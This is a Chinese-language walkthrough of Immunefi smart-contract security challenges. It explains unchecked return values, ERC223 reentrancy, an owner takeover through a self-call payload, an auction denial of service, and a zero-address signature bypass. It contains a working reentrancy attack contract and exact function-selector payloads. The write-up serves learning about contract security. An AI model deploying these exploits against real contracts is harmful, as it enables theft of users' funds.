immunefi 写的一个挑战,持续更新中,就来写写WP
挑战一 这个挑战涉及两个合约 主合约 StokenERC20合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function enter(uint256 amount) public { require(amount >= 10, "minimum is 10"); token.transferFrom(msg.sender, address(this), amount); balances[msg.sender] += amount; emit Transfer(msg.sender, address(this), amount); } function exit(uint256 amount) public { uint256 getAmount = balances[msg.sender]; require(getAmount >= amount, "user doesn't have enough funds deposited"); balances[msg.sender] -= amount; payable(msg.sender).transfer(amount); emit NativeTransfer(msg.sender, amount); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 function transfer(address _to, uint256 _value) public override returns (bool) { unchecked { if (balanceOf[msg.sender] >= _value && balanceOf[_to] + _value >= balanceOf[_to]) { balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } else { return false; } } } function transferFrom( address _from, address _to, uint256 _value ) public override returns (bool) { unchecked { if ( balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && balanceOf[_to] + _value >= balanceOf[_to] ) { balanceOf[_to] += _value; balanceOf[_from] -= _value; emit Transfer(_from, _to, _value); allowance[_from][msg.sender] -= _value; emit Approval(_from, msg.sender, allowance[_from][msg.sender]); return true; } else { return false; } } }
对token的方法进行调用,但是对于返回值的处理不正确,即便返回false,enter和exit函数也会继续执行,这就可以实现任意token铸造,或者提取合约的全部ETH
挑战二 主合约 ERC233合约
1 2 3 4 5 6 7 8 9 10 11 12 13 function unstake(uint256 amount) public { uint256 userBal = balances[msg.sender]; require(userBal >= amount, "Staking: not enough deposited funds"); uint256 stakedDiff = block.timestamp - stakeDuration[msg.sender]; require(stakedDiff >= 604800, "Staking: wait till 7 days elapsed"); if (!rewardClaimed[msg.sender]) { payable(msg.sender).transfer(reward); rewardClaimed[msg.sender] = true; } token.transfer(msg.sender, amount); balances[msg.sender] = userBal - amount; emit Unstaked(msg.sender, amount); }
1 2 3 4 5 6 7 8 9 10 11 12 13 function transfer(address _to, uint256 _value) public override returns (bool success) { // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . bytes memory _empty = hex"00000000"; balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; if (Address.isContract(_to)) { IERC223Recipient(_to).tokenReceived(msg.sender, _value, _empty); } emit Transfer(msg.sender, _to, _value); emit TransferData(_empty); return true; }
1 IERC223Recipient(_to ) .tokenReceived(msg .sender , _value , _empty ) ;
通过unstake调用token得transfer,这里的to就是unstake中的msg.sender,如果通过了Address.isContract(_to) 判断,就可以调用我们自己定义的tokenReceived方法,实现重复提取staking合约在Token 合约上的token,直至耗尽
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 contract ERC223Reentrant is IERC223Recipient { IERC223 public token; IStaking public vulnContract; uint256 public depositedFunds; constructor(address _token, address _vulnContract) { token = IERC223(_token); vulnContract = IStaking(_vulnContract); } receive() external payable {} function enter(uint256 _amount) public { depositedFunds = vulnContract.balanceOf(address(this)) + _amount; token.transfer(address(vulnContract), _amount); require( vulnContract.balanceOf(address(this)) == depositedFunds, "ERC223Reentrant: Something wrong with deposits" ); } function exit() public { uint256 balBefore = vulnContract.balanceOf(address(this)); vulnContract.unstake(balBefore); } function tokenReceived( address _from, uint256 _value, bytes memory _data ) public override { uint256 balance = token.balanceOf(address(vulnContract)); if (balance > 0) { vulnContract.unstake(depositedFunds); } } }
挑战三 主合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 modifier onlyAuth() { require(msg.sender == owner || msg.sender == address(this), "Takeover: not allowed"); _; } function changeOwner(address newOwner) external onlyAuth { require(newOwner != address(0), "Takeover: no address(0)"); require(newOwner != owner, "Takeover: no current owner"); emit OwnershipChanged(owner, newOwner); owner = newOwner; } function staticall( address target, bytes memory payload, string memory errorMessage ) external returns (bytes memory) { require(isContract(target), "Takeover: call to non-contract"); (bool success, bytes memory returnData) = address(target).call(payload); return verifyCallResult(success, returnData, errorMessage); }
当合约执行到这一行的时候,此时的msg.sender会变成address(this),我们就可以通过onlyAuth的判断,达到调用changeOwner函数改变owner的目的。payload为0xa6f9dae1+address就可以,剩下的就是withdrawall函数(0x853828b6)
挑战四 主合约 MockERC721合约
1 2 3 4 5 6 7 8 9 10 if (bidInfo[_id].status == true) { if (bidInfo[_id].bid < msg.value) { payable(bidInfo[_id].bidder).transfer(bidInfo[_id].bid); bidInfo[_id] = Bid({bidder: msg.sender, bid: msg.value, status: true}); } else { revert("Auction: last bidder amount is greater"); } } else { bidInfo[_id] = Bid({bidder: msg.sender, bid: msg.value, status: true}); }
当有人出价高于当前拍卖价格的时候,将退还当前拍卖者的资金,transfer函数在返回false的时候会回滚,不再继续向下执行。就可以通过设定恶意的合约,导致transfer失败。例如:
1 2 3 4 5 fallback() external{} //不接收ETH receive() external payable { require(msg.value>100 ether) //设定必定revert的条件 } //直接两种函数都不写
挑战五 主合约 ExpensiveToken MockERC777
暂时没搞懂
挑战六 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 function onboardWithSig( address tokenAddr, bytes32 msgHash, string memory description, bytes memory signature ) external { require(!onboardedApps[tokenAddr], "KYC: already onboarded"); require(tokenAddr != address(0), "KYC: token address must not be empty"); bytes32 payloadHash = keccak256(abi.encode(msgHash, description)); bytes32 messageHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", payloadHash)); _checkWhitelisted(tokenAddr, messageHash, signature); onboardedApps[tokenAddr] = true; } function _checkWhitelisted( address _tokenAddr, bytes32 _messageHash, bytes memory _signature ) internal view { (bool status, address signer) = recoverSigner(_messageHash, _signature); if (signer == address(0) && !status) { revert("KYC: signature is malformed"); } require(signer == whitelistedOwners[_tokenAddr], "KYC: only owner can onboard"); } function recoverSigner(bytes32 hash, bytes memory signature) internal pure returns (bool, address) { if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } address recovered = ecrecover(hash, v, r, s); return (true, recovered); } else if (signature.length == 64) { bytes32 r; bytes32 vs; assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint8 v = uint8((uint256(vs) >> 255) + 27); address recovered = ecrecover(hash, v, r, s); return (true, recovered); } else { return (false, address(0)); } } }
onboardWithSig-> _checkWhitelisted->recoverSigner,最致命的在这里面
1 2 address recovered = ecrecover(hash, v, r, s); return (true, recovered);
ecrecover函数校验失败会返回一个空地址即零地址,但是其返回true,就使得我们可以通过以下的判断
1 2 3 if (signer == address(0) && !status) { revert("KYC: signature is malformed"); }
1 2 3 4 5 6 function applyFor(address tokenAddr) external { require(tokenAddr != address(0), "KYC: token address must not be empty"); require(IKYCApp(tokenAddr).owner() == msg.sender, "KYC: only owner of token can apply"); whitelistedOwners[tokenAddr] = msg.sender; } require(signer == whitelistedOwners[_tokenAddr], "KYC: only owner can onboard");
当某一个IKYCApp未主动调用applyFor函数时,whitelistedOwners[_tokenAddr]==0x0,由于此时的signer也等于0x0,所以我们可以通过判断。换句话说,whitelistedOwners[_tokenAddr]最初默认zero地址为白名单,存在隐患。
挑战七 随机数问题RareNFT contract allow users to call the mint function with send 1 ETH to mint a NFT